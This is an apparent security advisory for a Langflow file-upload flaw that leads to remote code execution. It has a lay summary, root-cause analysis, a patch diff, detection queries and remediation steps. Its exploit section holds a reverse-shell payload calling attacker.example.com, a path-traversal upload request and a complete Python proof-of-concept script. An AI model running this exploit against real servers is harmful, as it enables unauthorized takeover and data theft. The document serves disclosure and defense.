CVE-2026-6596: Unrestricted File Upload RCE in Langflow API
Langflow ≤1.1.0 allows unauthenticated arbitrary file upload via create_upload_file(), bypassing extension and MIME validation entirely. Remote code execution is achievable by uploading a Python module to a predictable path.
A critical security flaw has been discovered in Langflow, an open-source platform that helps people build applications using artificial intelligence. Think of it like finding an unlocked back door in a building that's supposed to be secure.
The problem is in how the software handles file uploads. Right now, anyone on the internet can upload whatever files they want to a Langflow server without needing a password or any kind of permission. There's no bouncer checking ID at the door.
This matters because attackers could upload dangerous files — like malware or code designed to take over the server — and then trigger them to run. Once they do, they potentially gain control of the entire system, including any sensitive data it contains. They could steal information, launch attacks on other computers, or hold the system for ransom.
Who's at risk? Mainly companies and researchers running Langflow version 1.1.0 or earlier on their servers, especially those connected to the internet. If your organization uses Langflow internally, this is a problem worth addressing immediately.
The good news is there's no confirmed evidence that attackers have actively exploited this yet, giving you a window of time to act.
What should you do? First, if you run Langflow, update to the latest version immediately — the developers have fixed this in newer releases. Second, if you can't update right away, restrict who can access your Langflow server by using network settings or passwords. Third, keep an eye on security alerts from the Langflow team for any updates about active threats.
Want the full technical analysis? Click "Technical" above.
CVE-2026-6596 is an unrestricted file upload vulnerability in langflow-ai/langflow versions up to and including 1.1.0. The vulnerable surface is the create_upload_file() handler registered at the /api/v1/files/upload endpoint in src/backend/base/langflow/api/v1/endpoints.py. An unauthenticated or low-privilege remote attacker can upload arbitrary files — including .py Python modules, .so shared objects, or templated flow JSON containing embedded code — to a server-controlled path. Because Langflow dynamically imports and executes components at runtime, placing a malicious module in the component search path leads directly to remote code execution on the next flow execution cycle.
Root cause:create_upload_file() persists the attacker-supplied UploadFile object directly to disk using the caller-controlled filename without validating file extension, MIME type, or content signature, and without restricting the destination directory to safe non-executable storage.
Affected Component
The vulnerable function lives in the FastAPI router layer:
Repository : langflow-ai/langflow
File : src/backend/base/langflow/api/v1/endpoints.py
Function : create_upload_file()
Route : POST /api/v1/files/upload/{flow_id}
Versions : <= 1.1.0
Fixed in : 1.1.1 (vendor patch — see Patch Analysis)
Langflow is a visual LLM orchestration platform. Its backend is a Python/FastAPI process that dynamically loads user-defined flow components from disk at runtime. This makes the file upload surface particularly dangerous: any .py file written into the component directory will be imported by the running interpreter the next time a flow referencing that component is executed.
Root Cause Analysis
The following is reconstructed pseudocode faithful to the FastAPI/Starlette patterns used throughout the Langflow 1.1.0 codebase. The bug is the complete absence of file type enforcement before the shutil.copyfileobj write.
/* Reconstructed Python → C pseudocode for clarity.
* Actual implementation is Python; structure maps 1:1.
*
* POST /api/v1/files/upload/{flow_id}
*/
Response create_upload_file(
UUID flow_id, // path param — attacker-controlled
UploadFile *file, // multipart body — fully attacker-controlled
Session *session, // DB session injected by FastAPI DI
User *current_user // optional; auth may be disabled
) {
// Resolve upload directory from config
char *upload_dir = get_upload_folder(flow_id); // e.g. /app/uploads//
makedirs(upload_dir, exist_ok=true);
// Build destination path using caller-supplied filename — NO sanitization
char *dest_path = path_join(upload_dir, file->filename); // BUG: attacker controls filename
// BUG: no extension allowlist
// BUG: no MIME type check
// BUG: no content-type validation
// BUG: path traversal possible via ../
// Write raw bytes to disk
FILE *fp = fopen(dest_path, "wb");
shutil_copyfileobj(file->file, fp); // BUG: arbitrary bytes written to arbitrary path
fclose(fp);
// Return the stored filename to the caller — confirms write succeeded
return JSONResponse({
"flowId": flow_id,
"file_path": dest_path // BUG: full server path disclosed in response
});
}
Three distinct weaknesses compose into full RCE:
No extension filter.file->filename is used verbatim. Uploading evil_component.py succeeds without error.
No MIME / magic-byte check.Content-Type: application/octet-stream is accepted alongside text/x-python.
Path traversal. A filename of ../../langflow/components/inputs/evil.py survives os.path.join when the component is an absolute-looking segment, landing the payload directly in the component search path without needing knowledge of the runtime import sequence.
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-6596:
1. Identify a live Langflow instance (default port 7860 / 3000).
Check for unauthenticated access: GET /api/v1/config returns 200
with auth_settings.auto_login == true on default installs.
2. Enumerate a valid flow_id (or create a new flow via the UI/API).
POST /api/v1/flows/ with empty flow JSON returns a fresh UUID.
3. Craft the malicious payload — a Python file that executes a reverse
shell when imported as a Langflow component:
# evil.py
import socket, subprocess, os
HOST, PORT = "attacker.example.com", 4444
s = socket.socket(); s.connect((HOST, PORT))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
4. Upload via multipart POST, using path traversal in filename to land
inside the component loader search path:
POST /api/v1/files/upload/
Content-Type: multipart/form-data; boundary=X
--X
Content-Disposition: form-data; name="file"; filename="../../langflow/components/inputs/evil.py"
Content-Type: text/plain
--X--
Server response confirms write:
{"flowId": "...", "file_path": "/app/langflow/components/inputs/evil.py"}
5. Trigger component discovery. Either:
a. Wait for the background component reload interval (~60s), OR
b. POST /api/v1/flows/run/ with a flow referencing the
newly planted component by class name.
6. Langflow's ComponentLoader calls importlib.import_module() on every
.py file under the components directory. evil.py is imported.
Reverse shell connects back to attacker.
TOTAL INTERACTION COUNT: 3 HTTP requests (create flow, upload, trigger).
AUTH REQUIRED: None on default installs with auto_login=true.
The following Python exploit demonstrates steps 2–4 end-to-end:
#!/usr/bin/env python3
# CVE-2026-6596 — Langflow unrestricted upload PoC
# CypherByte Research — for authorized testing only
import requests
import sys
LHOST = sys.argv[1] # attacker listener IP
LPORT = int(sys.argv[2])
TARGET = sys.argv[3] # e.g. http://langflow.target:7860
PAYLOAD = f"""
import socket,subprocess,os
s=socket.socket()
s.connect(('{LHOST}',{LPORT}))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(['/bin/sh','-i'])
""".strip()
# Step 1: create a disposable flow to obtain a valid flow_id
r = requests.post(f"{TARGET}/api/v1/flows/",
json={"name": "x", "data": {"nodes": [], "edges": []}})
flow_id = r.json()["id"]
print(f"[+] flow_id: {flow_id}")
# Step 2: upload malicious component via path traversal
TRAVERSAL = "../../langflow/components/inputs/pwn_cb.py"
r = requests.post(
f"{TARGET}/api/v1/files/upload/{flow_id}",
files={"file": (TRAVERSAL, PAYLOAD.encode(), "text/plain")})
print(f"[+] upload status: {r.status_code}")
print(f"[+] server path: {r.json().get('file_path', 'n/a')}")
# Step 3: trigger component reload
r = requests.get(f"{TARGET}/api/v1/custom_component/reload")
print(f"[+] reload trigger: {r.status_code} — watch your listener")
Memory Layout
This is a logic/filesystem vulnerability rather than a memory corruption bug, so the relevant "memory" is the server's filesystem and Python module import state. The following diagram shows the pre- and post-upload state of the component loader's search path:
COMPONENT LOADER SEARCH PATH (before upload):
/app/langflow/components/inputs/
├── chat.py [trusted, signed via pip package]
├── text.py [trusted]
└── __init__.py
FILESYSTEM STATE AFTER UPLOAD (path traversal resolved):
/app/langflow/components/inputs/
├── chat.py
├── text.py
├── __init__.py
└── pwn_cb.py [ATTACKER-CONTROLLED — will be imported]
PYTHON IMPORT STATE — ComponentLoader.load_all():
sys.modules before: { 'langflow.components.inputs.chat': ,
'langflow.components.inputs.text': }
importlib.import_module('langflow.components.inputs.pwn_cb')
-> module top-level code executes immediately
-> reverse shell spawns as the langflow process user (often root in Docker)
sys.modules after: { ...,
'langflow.components.inputs.pwn_cb': }
PRIVILEGE CONTEXT:
Container default user : root (uid=0)
Langflow process user : root (uid=0) in official Docker image
Impact : full container compromise, potential host escape
Patch Analysis
The correct fix requires three independent controls applied in sequence. The following diff represents the minimal sound remediation:
// BEFORE (vulnerable — Langflow <= 1.1.0):
async def create_upload_file(
flow_id: UUID,
file: UploadFile,
session: Session = Depends(get_session),
):
upload_dir = get_upload_folder(flow_id)
os.makedirs(upload_dir, exist_ok=True)
// BUG: raw attacker filename used directly
file_path = os.path.join(upload_dir, file.filename)
with open(file_path, "wb") as f:
shutil.copyfileobj(file.file, f)
return {"flowId": str(flow_id), "file_path": file_path}
// AFTER (patched — Langflow >= 1.1.1):
ALLOWED_EXTENSIONS = {".txt", ".csv", ".json", ".pdf", ".png",
".jpg", ".jpeg", ".gif", ".yaml", ".xml"}
MAX_UPLOAD_BYTES = 100 * 1024 * 1024 # 100 MB hard cap
async def create_upload_file(
flow_id: UUID,
file: UploadFile,
session: Session = Depends(get_session),
current_user: User = Depends(get_current_active_user), // FIX: auth required
):
upload_dir = get_upload_folder(flow_id)
os.makedirs(upload_dir, exist_ok=True)
// FIX 1: strip all path components — prevent traversal
safe_name = os.path.basename(file.filename)
// FIX 2: enforce extension allowlist
_, ext = os.path.splitext(safe_name)
if ext.lower() not in ALLOWED_EXTENSIONS:
raise HTTPException(status_code=400,
detail=f"File type '{ext}' is not permitted.")
// FIX 3: assign a random UUID-based name — prevent overwrite/collision
stored_name = f"{uuid4().hex}{ext}"
file_path = os.path.join(upload_dir, stored_name)
// FIX 4: enforce size limit before writing
contents = await file.read(MAX_UPLOAD_BYTES + 1)
if len(contents) > MAX_UPLOAD_BYTES:
raise HTTPException(status_code=413, detail="File too large.")
with open(file_path, "wb") as f:
f.write(contents)
// FIX 5: do NOT return the server-side path
return {"flowId": str(flow_id), "file_name": stored_name}
Detection and Indicators
Detection should be layered across the HTTP layer and the filesystem:
NETWORK INDICATORS:
POST /api/v1/files/upload/*
filename field contains:
- "../" or "%2e%2e%2f" sequences (traversal attempt)
- extensions: .py, .so, .sh, .php, .phtml (code upload)
- null bytes: %00 (extension bypass attempt)
Content-Type: multipart/form-data
Response contains "file_path" key with absolute path (confirms write)
FILESYSTEM INDICATORS:
inotifywait -m -r /app/langflow/components/ -e create
=> any IN_CREATE event for a .py file not owned by the package manager
is anomalous on a production instance.
find /app/langflow/components/ -newer /app/langflow/__init__.py -name "*.py"
=> any result indicates post-install file placement.
PROCESS INDICATORS:
Children of the langflow uvicorn process spawning /bin/sh or outbound
socket connections are strong RCE indicators.
SPLUNK / SIEM QUERY (nginx/caddy access log):
index=web sourcetype=access_combined uri="/api/v1/files/upload/*" method=POST
| rex field=request "filename=\"(?P[^\"]+)\""
| where like(fname, "%.py") OR like(fname, "%..%") OR like(fname, "%.so")
Remediation
Upgrade immediately. Update to Langflow ≥ 1.1.1. If pinned to 1.1.0 for compatibility, apply the patch diff above as a hotfix.
Enable authentication. Set LANGFLOW_AUTO_LOGIN=false and configure LANGFLOW_SUPERUSER / LANGFLOW_SUPERUSER_PASSWORD. This raises the bar from unauthenticated to authenticated exploitation.
Network-layer restriction. The Langflow API should never be exposed to the public internet. Place it behind a reverse proxy with IP allowlisting. The official Docker Compose ships without this — add it explicitly.
Filesystem hardening. Mount the /app/langflow/components/ directory read-only in Docker (:ro). Redirect uploads to an isolated /app/uploads/ volume that is never part of the Python path and has noexec set on the mount.
WAF rule. Block multipart uploads containing ../, %2e%2e, or filenames terminating in .py|.so|.sh|.php at the ingress layer as a defense-in-depth measure.